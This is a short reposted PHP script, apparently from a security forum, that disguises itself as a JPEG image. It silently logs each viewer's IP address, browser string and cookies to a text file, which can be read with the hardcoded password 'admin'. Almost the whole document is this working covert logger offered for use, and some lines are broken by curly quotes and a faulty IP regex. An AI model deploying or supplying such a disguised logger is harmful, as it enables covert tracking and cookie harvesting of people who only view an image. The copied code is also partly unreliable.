I'm too lazy to write regular rules for judging the operating system, so you can just tell based on the browser information
http://localhost/test.php
$pass=admin This is the password to view information
http://www.BkJia.com /test.php?pass=admin
You can check the password
$filePath=’./x.txt’; //Information saving address
$image=’x.jpg’; //Read the image and output it. You can choose the image by yourself
date_default_timezone_set('PRC');
$pass='admin';
$filePath='./x.txt'; //Information saving address
$image='x.jpg'; //Output image name
if(@$_GET['pass']==$pass){
$pics=file($filePath);
for($i=0;$i< count($pics);$i++)
{
echo $pics[$i];
}
exit;
}else{
header("Content-type:image/jpeg");
$ip=getip();
$USER_AGENT=$_SERVER['HTTP_USER_AGENT'];
$data=date("Y-m-d H:i:s", time());
$content='Access IP:'.$ip.'
Browser information:'.$USER_AGENT.'
COOKIE:
';
writeto($filePath,$content);
foreach($_COOKIE as $key=>$value){
$content=$key.' = '.htmlspecialchars($value).'
';
writeto($filePath,$content);
}
writeto($filePath,'Access time:'.$data.'
');
$pics=file($image);
for($i=0;$i< count($pics);$i++)
{
echo $pics[$i];
}
}
function getip() {
if (! empty ( $_SERVER ["HTTP_CLIENT_IP"] )) {
$cip = $_SERVER ["HTTP_CLIENT_IP"];
} else if (! empty ( $_SERVER ["HTTP_X_FORWARDED_FOR"] )) {
$cip = $_SERVER ["HTTP_X_FORWARDED_FOR"];
} else if (! empty ( $_SERVER ["REMOTE_ADDR"] )) {
$cip = $_SERVER ["REMOTE_ADDR"];
} else {
$cip = ‘‘;
}
preg_match ("/[d.]{7,15}/", $cip, $cips );
$cip = isset ( $cips [0] ) ? $cips [0] : 'unknown';
unset ( $cips );
return $cip;
}
function writeto($filePath, $content){
$path = fopen($filePath,'a');
flock($path, LOCK_EX);
$result = fwrite($path, $content);
fclose($path);
return $result;
}
?>
Original address: http://www.90sec.org/thread-1744-1-1.html